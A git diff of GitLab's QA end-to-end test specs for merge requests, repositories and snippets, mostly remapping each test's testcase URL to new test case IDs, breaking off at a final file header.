--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb
@@ -9,7 +9,7 @@ module QA
Flow::Login.sign_in
end
- it 'user rebases source branch of merge request', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1596' do
+ it 'user rebases source branch of merge request', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347735' do
merge_request.project.visit!
Page::Project::Menu.perform(&:go_to_general_settings)
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/revert/revert_commit_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/revert/revert_commit_spec.rb
index a24ba9ac45a..a2b27e294e6 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/revert/revert_commit_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/revert/revert_commit_spec.rb
@@ -27,7 +27,7 @@ module QA
commit.visit!
end
- it 'creates a merge request', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1807' do
+ it 'creates a merge request', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347716' do
Page::Project::Commit::Show.perform(&:revert_commit)
Page::MergeRequest::New.perform(&:create_merge_request)
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/revert/reverting_merge_request_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/revert/reverting_merge_request_spec.rb
index 6a79a2d8078..90ca836f8b0 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/revert/reverting_merge_request_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/revert/reverting_merge_request_spec.rb
@@ -19,7 +19,7 @@ module QA
Flow::Login.sign_in
end
- it 'can be reverted', :can_use_large_setup, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1818', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/335987', type: :investigating } do
+ it 'can be reverted', :can_use_large_setup, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347709', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/335987', type: :investigating } do
revertable_merge_request.visit!
Page::MergeRequest::Show.perform do |merge_request|
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/squash_merge_request_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/squash_merge_request_spec.rb
index 9fcf6b3db71..fa129f39a4c 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/squash_merge_request_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/squash_merge_request_spec.rb
@@ -31,7 +31,7 @@ module QA
merge_request.visit!
end
- it 'user squashes commits while merging', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1583' do
+ it 'user squashes commits while merging', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347744' do
Page::MergeRequest::Show.perform do |merge_request_page|
merge_request_page.retry_on_exception(reload: true) do
expect(merge_request_page).to have_text('to be squashed')
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/batch_suggestion_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/batch_suggestion_spec.rb
index 96c9c9b55b4..38adf2f5d55 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/batch_suggestion_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/batch_suggestion_spec.rb
@@ -46,7 +46,7 @@ module QA
merge_request.visit!
end
- it 'applies multiple suggestions', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1838' do
+ it 'applies multiple suggestions', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347682' do
Page::MergeRequest::Show.perform do |merge_request|
merge_request.click_diffs_tab
4.times { merge_request.add_suggestion_to_batch }
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/custom_commit_suggestion_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/custom_commit_suggestion_spec.rb
index 719006e87eb..d73fb57a581 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/custom_commit_suggestion_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/suggestions/custom_commit_suggestion_spec.rb
@@ -43,7 +43,7 @@ module QA
merge_request.visit!
end
- it 'applies a single suggestion with a custom message', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1815' do
+ it 'applies a single suggestion with a custom message', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347711' do
Page::MergeRequest::Show.perform do |merge_request|
merge_request.click_diffs_tab
merge_request.apply_suggestion_with_message(commit_message)
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_diff_patch_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_diff_patch_spec.rb
index fb30d47135e..18aa6bfe78a 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_diff_patch_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_diff_patch_spec.rb
@@ -15,7 +15,7 @@ module QA
merge_request.visit!
end
- it 'views the merge request email patches', :can_use_large_setup, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1585' do
+ it 'views the merge request email patches', :can_use_large_setup, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347742' do
Page::MergeRequest::Show.perform(&:view_email_patches)
expect(page.text).to start_with('From')
@@ -23,7 +23,7 @@ module QA
expect(page).to have_content("diff --git a/#{merge_request.file_name} b/#{merge_request.file_name}")
end
- it 'views the merge request plain diff', :can_use_large_setup, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1584' do
+ it 'views the merge request plain diff', :can_use_large_setup, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347743' do
Page::MergeRequest::Show.perform(&:view_plain_diff)
expect(page.text).to start_with('diff')
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_merge_ref_diff_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_merge_ref_diff_spec.rb
index c7942c5c2e4..0785b32b225 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_merge_ref_diff_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_merge_ref_diff_spec.rb
@@ -32,7 +32,7 @@ module QA
merge_request.visit!
end
- it 'views the merge-ref diff by default', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1902' do
+ it 'views the merge-ref diff by default', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347651' do
Page::MergeRequest::Show.perform do |mr_page|
mr_page.click_diffs_tab
mr_page.click_target_version_dropdown
@@ -57,7 +57,7 @@ module QA
merge_request.visit!
end
- it 'views the merge-base diff by default', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1903' do
+ it 'views the merge-base diff by default', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347650' do
Page::MergeRequest::Show.perform do |mr_page|
mr_page.click_diffs_tab
mr_page.click_target_version_dropdown
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb
index 9448cd13f53..a98925eab98 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb
@@ -61,7 +61,7 @@ module QA
project.visit!
end
- it 'lists branches correctly after CRUD operations', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1588' do
+ it 'lists branches correctly after CRUD operations', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347740' do
Page::Project::Menu.perform(&:go_to_repository_branches)
expect(page).to have_content(master_branch)
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/branch_with_unusual_name_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/branch_with_unusual_name_spec.rb
index 39fb18f2051..9e77fd228da 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/branch_with_unusual_name_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/branch_with_unusual_name_spec.rb
@@ -16,7 +16,7 @@ module QA
end
context 'when branch name contains slash, hash, double dash, and capital letter' do
- it 'renders repository file tree correctly', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1809' do
+ it 'renders repository file tree correctly', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347715' do
Resource::Repository::Commit.fabricate_via_api! do |commit|
commit.project = project
commit.branch = branch_name
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/clone_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/clone_spec.rb
index 1fa95eda3f0..d12fb05af77 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/clone_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/clone_spec.rb
@@ -28,7 +28,7 @@ module QA
project.wait_for_push_new_branch
end
- it 'user performs a deep clone', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1546' do
+ it 'user performs a deep clone', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347761' do
Git::Repository.perform do |repository|
repository.uri = project.repository_http_location.uri
repository.use_default_credentials
@@ -39,7 +39,7 @@ module QA
end
end
- it 'user performs a shallow clone', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1589' do
+ it 'user performs a shallow clone', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347739' do
Git::Repository.perform do |repository|
repository.uri = project.repository_http_location.uri
repository.use_default_credentials
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/file/create_file_via_web_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/file/create_file_via_web_spec.rb
index 6d7e1b4f6df..f335cfdb367 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/file/create_file_via_web_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/file/create_file_via_web_spec.rb
@@ -11,7 +11,7 @@ module QA
Flow::Login.sign_in
end
- it 'user creates a file via the Web', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1633' do
+ it 'user creates a file via the Web', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347729' do
Resource::File.fabricate_via_browser_ui! do |file|
file.name = file_name
file.content = file_content
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/file/delete_file_via_web_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/file/delete_file_via_web_spec.rb
index 4667dccb9a1..02ecff22840 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/file/delete_file_via_web_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/file/delete_file_via_web_spec.rb
@@ -12,7 +12,7 @@ module QA
file.visit!
end
- it 'user deletes a file via the Web', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1631' do
+ it 'user deletes a file via the Web', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347731' do
Page::File::Show.perform do |file|
file.click_delete
file.add_commit_message(commit_message_for_delete)
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/file/edit_file_via_web_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/file/edit_file_via_web_spec.rb
index 47aebcbf349..25c095d9eda 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/file/edit_file_via_web_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/file/edit_file_via_web_spec.rb
@@ -13,7 +13,7 @@ module QA
file.visit!
end
- it 'user edits a file via the Web', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1632' do
+ it 'user edits a file via the Web', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347730' do
Page::File::Show.perform(&:click_edit)
Page::File::Form.perform do |file|
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/file/file_with_unusual_name_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/file/file_with_unusual_name_spec.rb
index 0a01afd97d8..6caa8e64d56 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/file/file_with_unusual_name_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/file/file_with_unusual_name_spec.rb
@@ -16,7 +16,7 @@ module QA
end
context 'when file name starts with a dash and contains hash, semicolon, colon, and question mark' do
- it 'renders repository file tree correctly', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1810' do
+ it 'renders repository file tree correctly', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347714' do
Resource::File.fabricate_via_api! do |file|
file.project = project
file.commit_message = 'Add new file'
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/move_project_create_fork_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/move_project_create_fork_spec.rb
index a53bb197b09..bec95e41202 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/move_project_create_fork_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/move_project_create_fork_spec.rb
@@ -23,7 +23,7 @@ module QA
parent_project.add_member(user)
end
- it 'creates a 2nd fork after moving the parent project', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1413' do
+ it 'creates a 2nd fork after moving the parent project', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347787' do
Flow::Login.sign_in(as: user)
fork_project.visit!
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_http_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_http_spec.rb
index 48bfe56e91e..34439042796 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_http_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_http_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do
describe 'Push over HTTP using Git protocol version 2', :requires_git_protocol_v2 do
- it 'user pushes to the repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1548' do
+ it 'user pushes to the repository', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347760' do
Flow::Login.sign_in
# Create a project to push to
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb
index 467d9b2487d..25d4da95dd9 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb
@@ -27,7 +27,7 @@ module QA
Page::Main::Menu.perform(&:sign_out_if_signed_in)
end
- it 'user pushes to the repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1606' do
+ it 'user pushes to the repository', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347734' do
project = Resource::Project.fabricate_via_api! do |project|
project.name = 'git-protocol-project'
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb
index 6fdf7f424ee..042fee38188 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do
describe 'Git push over HTTP', :smoke do
- it 'user using a personal access token pushes code to the repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1573' do
+ it 'user using a personal access token pushes code to the repository', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347749' do
Flow::Login.sign_in
access_token = Resource::PersonalAccessToken.fabricate!.token
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_lfs_over_http_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_lfs_over_http_spec.rb
index d8972d4f37a..b8e425ae3b8 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_lfs_over_http_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_lfs_over_http_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do
describe 'Push mirror a repository over HTTP' do
- it 'configures and syncs LFS objects for a (push) mirrored repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1224' do
+ it 'configures and syncs LFS objects for a (push) mirrored repository', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347847' do
Runtime::Browser.visit(:gitlab, Page::Main::Login)
Page::Main::Login.perform(&:sign_in_using_credentials)
@@ -30,7 +30,7 @@ module QA
mirror_settings.authentication_method = 'Password'
mirror_settings.password = Runtime::User.password
mirror_settings.mirror_repository
- mirror_settings.update target_project_uri
+ mirror_settings.update target_project_uri # rubocop:disable Rails/SaveBang
end
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_over_http_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_over_http_spec.rb
index ec63ed9cdf1..6d3d86d0663 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_over_http_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_over_http_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do
describe 'Push mirror a repository over HTTP' do
- it 'configures and syncs a (push) mirrored repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1587' do
+ it 'configures and syncs a (push) mirrored repository', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347741' do
Runtime::Browser.visit(:gitlab, Page::Main::Login)
Page::Main::Login.perform(&:sign_in_using_credentials)
@@ -29,7 +29,7 @@ module QA
mirror_settings.authentication_method = 'Password'
mirror_settings.password = Runtime::User.password
mirror_settings.mirror_repository
- mirror_settings.update target_project_uri
+ mirror_settings.update target_project_uri # rubocop:disable Rails/SaveBang
end
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_file_size_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_file_size_spec.rb
index 727a9e27c63..812a7bae6c3 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_file_size_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_file_size_spec.rb
@@ -26,7 +26,7 @@ module QA
set_file_size_limit(nil)
end
- it 'push successful when the file size is under the limit', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1556' do
+ it 'push successful when the file size is under the limit', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347758' do
set_file_size_limit(5)
retry_on_fail do
@@ -36,7 +36,7 @@ module QA
end
end
- it 'push fails when the file size is above the limit', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1554' do
+ it 'push fails when the file size is above the limit', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347759' do
set_file_size_limit(2)
retry_on_fail do
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_spec.rb
index 4c294f21859..a782a50b55d 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do
describe 'Git push over HTTP' do
- it 'user pushes code to the repository', :smoke, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1576' do
+ it 'user pushes code to the repository', :smoke, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347747' do
Flow::Login.sign_in
Resource::Repository::ProjectPush.fabricate! do |push|
@@ -18,7 +18,7 @@ module QA
end
end
- it 'pushes to a project using a specific Praefect repository storage', :smoke, :requires_admin, :requires_praefect, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1389' do
+ it 'pushes to a project using a specific Praefect repository storage', :smoke, :requires_admin, :requires_praefect, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347789' do
Flow::Login.sign_in_as_admin
project = Resource::Project.fabricate_via_api! do |storage_project|
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_over_ssh_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_over_ssh_spec.rb
index be0d48e5ab9..0323448878b 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_over_ssh_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_over_ssh_spec.rb
@@ -26,7 +26,7 @@ module QA
Flow::Login.sign_in
end
- it 'pushes code to the repository via SSH', :smoke, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1283' do
+ it 'pushes code to the repository via SSH', :smoke, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347825' do
Resource::Repository::ProjectPush.fabricate! do |push|
push.project = project
push.ssh_key = @key
@@ -41,7 +41,7 @@ module QA
end
end
- it 'pushes multiple branches and tags together', :smoke, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1282' do
+ it 'pushes multiple branches and tags together', :smoke, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347826' do
branches = []
tags = []
Git::Repository.perform do |repository|
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb
index 318d905c149..f8129c9ccba 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb
@@ -18,7 +18,7 @@ module QA
end
context 'when developers and maintainers are allowed to push to a protected branch' do
- it 'user with push rights successfully pushes to the protected branch', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1563' do
+ it 'user with push rights successfully pushes to the protected branch', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347756' do
create_protected_branch(allowed_to_push: {
roles: Resource::ProtectedBranch::Roles::DEVS_AND_MAINTAINERS
})
@@ -30,7 +30,7 @@ module QA
end
context 'when developers and maintainers are not allowed to push to a protected branch' do
- it 'user without push rights fails to push to the protected branch', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1562' do
+ it 'user without push rights fails to push to the protected branch', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347757' do
create_protected_branch(allowed_to_push: {
roles: Resource::ProtectedBranch::Roles::NO_ONE
})
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/ssh_key_support_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/ssh_key_support_spec.rb
index 3f488a1610d..2e8c43d6981 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/ssh_key_support_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/ssh_key_support_spec.rb
@@ -9,7 +9,7 @@ module QA
Flow::Login.sign_in
end
- it 'user can add an SSH key', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1304' do
+ it 'user can add an SSH key', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347819' do
key = Resource::SSHKey.fabricate_via_browser_ui! do |resource|
resource.title = key_title
end
@@ -20,7 +20,7 @@ module QA
# Note this context ensures that the example it contains is executed after the example above. Be aware of the order of execution if you add new examples in either context.
context 'after adding an ssh key' do
- it 'can delete an ssh key', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1303' do
+ it 'can delete an ssh key', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347820' do
Page::Main::Menu.perform(&:click_edit_profile_link)
Page::Profile::Menu.perform(&:click_ssh_keys)
Page::Profile::SSHKeys.perform do |ssh_keys|
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/user_views_commit_diff_patch_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/user_views_commit_diff_patch_spec.rb
index d445f4d091b..bbf6c3ca37a 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/user_views_commit_diff_patch_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/user_views_commit_diff_patch_spec.rb
@@ -43,7 +43,7 @@ module QA
find('pre').text
end
- it 'user views raw email patch', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1566' do
+ it 'user views raw email patch', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347755' do
view_commit
Page::Project::Commit::Show.perform(&:select_email_patches)
@@ -53,7 +53,7 @@ module QA
expect(page).to have_content('diff --git a/second b/second')
end
- it 'user views raw commit diff', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1568' do
+ it 'user views raw commit diff', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347754' do
view_commit
Page::Project::Commit::Show.perform(&:select_plain_diff)
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb
index b41e90fa834..8f22a28628f 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb
@@ -39,7 +39,7 @@ module QA
ssh_key.remove_via_api!
end
- it 'clones, pushes, and pulls a snippet over HTTP, edits via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1363' do
+ it 'clones, pushes, and pulls a snippet over HTTP, edits via UI', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347793' do
push = Resource::Repository::Push.fabricate! do |push|
push.repository_http_uri = repository_uri_http
push.file_name = new_file
@@ -70,7 +70,7 @@ module QA
snippet.remove_via_api!
end
- it 'clones, pushes, and pulls a snippet over SSH, deletes via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1364' do
+ it 'clones, pushes, and pulls a snippet over SSH, deletes via UI', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347792' do
push = Resource::Repository::Push.fabricate! do |push|
push.repository_ssh_uri = repository_uri_ssh
push.ssh_key = ssh_key
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb
index e8b2ffe1f14..9a5fe44c927 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb
@@ -40,7 +40,7 @@ module QA
ssh_key.remove_via_api!
end
- it 'clones, pushes, and pulls a project snippet over HTTP, edits via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1359' do
+ it 'clones, pushes, and pulls a project snippet over HTTP, edits via UI', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347797' do
Resource::Repository::Push.fabricate! do |push|
push.repository_http_uri = repository_uri_http
push.file_name = new_file
@@ -71,7 +71,7 @@ module QA
snippet.remove_via_api!
end
- it 'clones, pushes, and pulls a project snippet over SSH, deletes via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1360' do
+ it 'clones, pushes, and pulls a project snippet over SSH, deletes via UI', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347796' do
Resource::Repository::Push.fabricate! do |push|
push.repository_ssh_uri = repository_uri_ssh
push.ssh_key = ssh_key
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
index 300fd6a1be2..dc66e0c5a9f 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
@@ -21,7 +21,7 @@ module QA
snippet.remove_via_api!
end
- it 'user creates a personal snippet', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1357' do
+ it 'user creates a personal snippet', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347799' do
snippet.visit!
Page::Dashboard::Snippet::Show.perform do |snippet|
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_with_multiple_files_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_with_multiple_files_spec.rb
index a32ee472150..28bea89e3bd 100644
